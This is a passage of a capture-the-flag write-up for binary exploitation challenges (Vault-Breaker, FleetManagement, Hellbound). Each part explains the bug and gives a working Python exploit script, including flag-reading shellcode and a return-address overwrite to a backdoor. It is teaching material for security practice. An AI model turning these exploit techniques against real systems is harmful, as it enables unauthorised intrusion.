class="n">system</span> </span></span><span class="line"><span class="cl"> <span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="p">}))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">ia</span><span class="p">()</span></span></span></code></pre></td></tr></table> </div> </div><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520004858277.png' alt="image-20220520004858277"></p> <h2 class="heading-element" id="4-vault-breaker"><span>4-Vault-Breaker</span> <a href="#4-vault-breaker" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h2><p>A trick of <code>strcpy</code></p> <h3 class="heading-element" id="vulnerability-3"><span>Vulnerability</span> <a href="#vulnerability-3" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520005030386.png' alt="image-20220520005030386"></p> <p>A <code>NULL</code> character would be appended at the end of the <code>dst</code> string in <code>strcpy</code></p> <p>Use this tip to make <code>random_key</code> to become <code>?\x00\x00\x00....\x00</code>, and then in the function <code>secure_password</code>:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520005359834.png' alt="image-20220520005359834"></p> <p>every byte of the flag xor with every byte of the key, we know <code>x ^ 0 = x</code>, so it puts flag if the <code>random_key</code> consists of <code>NULL</code> character</p> <h3 class="heading-element" id="exp-3"><span>EXP</span> <a href="#exp-3" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/python3</span> </span></span><span class="line"><span class="cl"><span class="c1"># -*- encoding: utf-8 -*-</span> </span></span><span class="line"><span class="cl"><span class="c1"># author: roderick</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwncli</span> <span class="kn">import</span> <span class="o">*</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">cli_script</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">io</span> <span class="o">=</span> <span class="n">gift</span><span class="o">.</span><span class="n">io</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">genkey</span><span class="p">(</span><span class="n">l</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;1&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;Length of new password (0-31):&#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">l</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> <span class="n">ru</span><span class="p">(</span><span class="s2">&#34;New key has been genereated successfully!&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">31</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">genkey</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">sla</span><span class="p">(</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;2&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">ru</span><span class="p">(</span><span class="s2">&#34;Master password for Vault: &#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">m</span> <span class="o">=</span> <span class="n">ra</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">m</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">ia</span><span class="p">()</span></span></span></code></pre></td></tr></table> </div> </div><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520005744727.png' alt="image-20220520005744727"></p> <h2 class="heading-element" id="5-fleetmanagement"><span>5-FleetManagement</span> <a href="#5-fleetmanagement" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h2><h3 class="heading-element" id="checksec-1"><span>Checksec</span> <a href="#checksec-1" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520005954145.png' alt="image-20220520005954145"></p> <p>only <code>rt_sigreturn/openat/senfile</code> are allowed</p> <h3 class="heading-element" id="vulnerability-4"><span>Vulnerability</span> <a href="#vulnerability-4" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>input <code>9</code> to write <code>shellcode</code>:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520010103926.png' alt="image-20220520010103926"></p> <p>steps:</p> <ul> <li><code>openat(-100, &quot;flag.txt&quot;, 0)</code></li> <li><code>sendfile(1, 3, 0, 0x30)</code></li> </ul> <h3 class="heading-element" id="exp-4"><span>EXP</span> <a href="#exp-4" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/python3</span> </span></span><span class="line"><span class="cl"><span class="c1"># -*- encoding: utf-8 -*-</span> </span></span><span class="line"><span class="cl"><span class="c1"># author: roderick</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwncli</span> <span class="kn">import</span> <span class="o">*</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">cli_script</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">io</span><span class="p">:</span> <span class="n">tube</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;io&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="n">shellcraft</span><span class="o">.</span><span class="n">amd64</span><span class="o">.</span><span class="n">pushstr</span><span class="p">(</span><span class="s2">&#34;flag.txt&#34;</span><span class="p">)</span> <span class="o">+</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;&#34;&#34; </span></span></span><span class="line"><span class="cl"><span class="s2"> push rsp </span></span></span><span class="line"><span class="cl"><span class="s2"> pop rsi </span></span></span><span class="line"><span class="cl"><span class="s2"> mov edi, 0xffffff9c </span></span></span><span class="line"><span class="cl"><span class="s2"> xor edx, edx </span></span></span><span class="line"><span class="cl"><span class="s2"> xor eax, eax </span></span></span><span class="line"><span class="cl"><span class="s2"> xor r10d, r10d </span></span></span><span class="line"><span class="cl"><span class="s2"> mov eax, </span><span class="si">{}</span><span class="s2"> </span></span></span><span class="line"><span class="cl"><span class="s2"> syscall </span></span></span><span class="line"><span class="cl"><span class="s2"> xor edi, edi </span></span></span><span class="line"><span class="cl"><span class="s2"> xor esi, esi </span></span></span><span class="line"><span class="cl"><span class="s2"> xchg eax, esi </span></span></span><span class="line"><span class="cl"><span class="s2"> inc edi </span></span></span><span class="line"><span class="cl"><span class="s2"> mov r10d, 0x30 </span></span></span><span class="line"><span class="cl"><span class="s2"> mov al, </span><span class="si">{}</span><span class="s2"> </span></span></span><span class="line"><span class="cl"><span class="s2"> syscall </span></span></span><span class="line"><span class="cl"><span class="s2"> &#34;&#34;&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">constants</span><span class="o">.</span><span class="n">SYS_openat</span><span class="p">,</span> <span class="n">constants</span><span class="o">.</span><span class="n">SYS_sendfile</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">sleep</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">sl</span><span class="p">(</span><span class="s2">&#34;1&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s2">&#34;[*] What do you want to do?&#34;</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s2">&#34;[*] What do you want to do?&#34;</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">sl</span><span class="p">(</span><span class="s2">&#34;9&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">sleep</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">s</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">ia</span><span class="p">()</span></span></span></code></pre></td></tr></table> </div> </div><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520010310089.png' alt="image-20220520010310089"></p> <h2 class="heading-element" id="6-hellbound"><span>6-Hellbound</span> <a href="#6-hellbound" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h2><h3 class="heading-element" id="vulnerability-5"><span>Vulnerability</span> <a href="#vulnerability-5" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>input <code>1</code> to leak stack address, and input <code>3</code> to assign <code>buf</code> with <code>*buf</code>:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520200453800.png' alt="image-20220520200453800"></p> <p>and there is a backdoor function:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520200929028.png' alt="image-20220520200929028"></p> <p>steps:</p> <ul> <li>leak stack address</li> <li>write the address of backdoor at <code>retaddr</code></li> </ul> <h3 class="heading-element" id="exp-5"><span>EXP</span> <a href="#exp-5" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span><span class="lnt">39 </span><span class="lnt">40 </span><span class="lnt">41 </span><span class="lnt">42 </span><span class="lnt">43 </span><span class="lnt">44 </span><span class="lnt">45 </span><span class="lnt">46 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/python3</span> </span></span><span class="line"><span class="cl"><span class="c1"># -*- encoding: utf-8 -*-</span> </span></span><span class="line"><span class="cl"><span class="c1"># author: roderick</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwncli</span> <span class="kn">import</span> <span class="o">*</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">cli_script</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">io</span><span class="p">:</span> <span class="n">tube</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;io&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">elf</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;elf&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">libc</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;libc&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">leak</span><span class="p">():</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;&gt;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;1&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">ru</span><span class="p">(</span><span class="s2">&#34;[+] In the back of its head you see this serial number: [&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">m</span> <span class="o">=</span> <span class="n">ru</span><span class="p">(</span><span class="s2">&#34;]&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">stack_addr</span> <span class="o">=</span> <span class="n">int_ex</span><span class="p">(</span><span class="n">m</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> </span></span><span class="line"><span class="cl"> <span class="n">log_address</span><span class="p">(</span><span class="s2">&#34;stack addr&#34;</span><span class="p">,</span> <span class="n">stack_addr</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="n">stack_addr</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">writecode</span><span class="p">(</span><span class="n">code</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;&gt;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;2&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sa</span><span class="p">(</span><span class="s2">&#34;[*] Write some code: &#34;</span><span class="p">,</span> <span class="n">code</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">deref</span><span class="p">():</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;&gt;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;3&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">ru</span><span class="p">(</span><span class="s2">&#34;The beast went Berserk again!&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">sd</span> <span class="o">=</span> <span class="n">leak</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="n">writecode</span><span class="p">(</span><span class="n">flat</span><span class="p">([</span> </span></span><span class="line"><span class="cl"> <span class="mi">0</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">sd</span> <span class="o">+</span> <span class="mh">0x50</span> </span></span><span class="line"><span class="cl"><span class="p">]))</span> </span></span><span class="line"><span class="cl"><span class="n">deref</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">writecode</span><span class="p">(</span><span class="n">flat</span><span class="p">([</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x400977</span><span class="p">,</span> <span class="mi">0</span> </span></span><span class="line"><span class="cl"><span class="p">]))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">deref</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">sla</span><span class="p">(</span><span class="s2">&#34;&gt;&gt; &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mh">0x45</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">ia</span><span class="p">()</span></span></span></code></pre></td></tr></table> </div> </div><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520201103021.png' alt="image-20220520201103021"></p> <h2 class="heading-element" id="7-bon-nie-appetit"><span>7-Bon-Nie-Appetit</span> <a href="#7-bon-nie-appetit" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h2><h3 class="heading-element" id="checksec-2"><span>Checksec</span> <a href="#checksec-2" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520201428114.png' alt="image-20220520201428114"></p> <p>glibc version is <code>Ubuntu GLIBC 2.27-3ubuntu1.5</code></p> <h3 class="heading-element" id="vulnerability-6"><span>Vulnerability</span> <a href="#vulnerability-6" class="heading-mark"> <svg 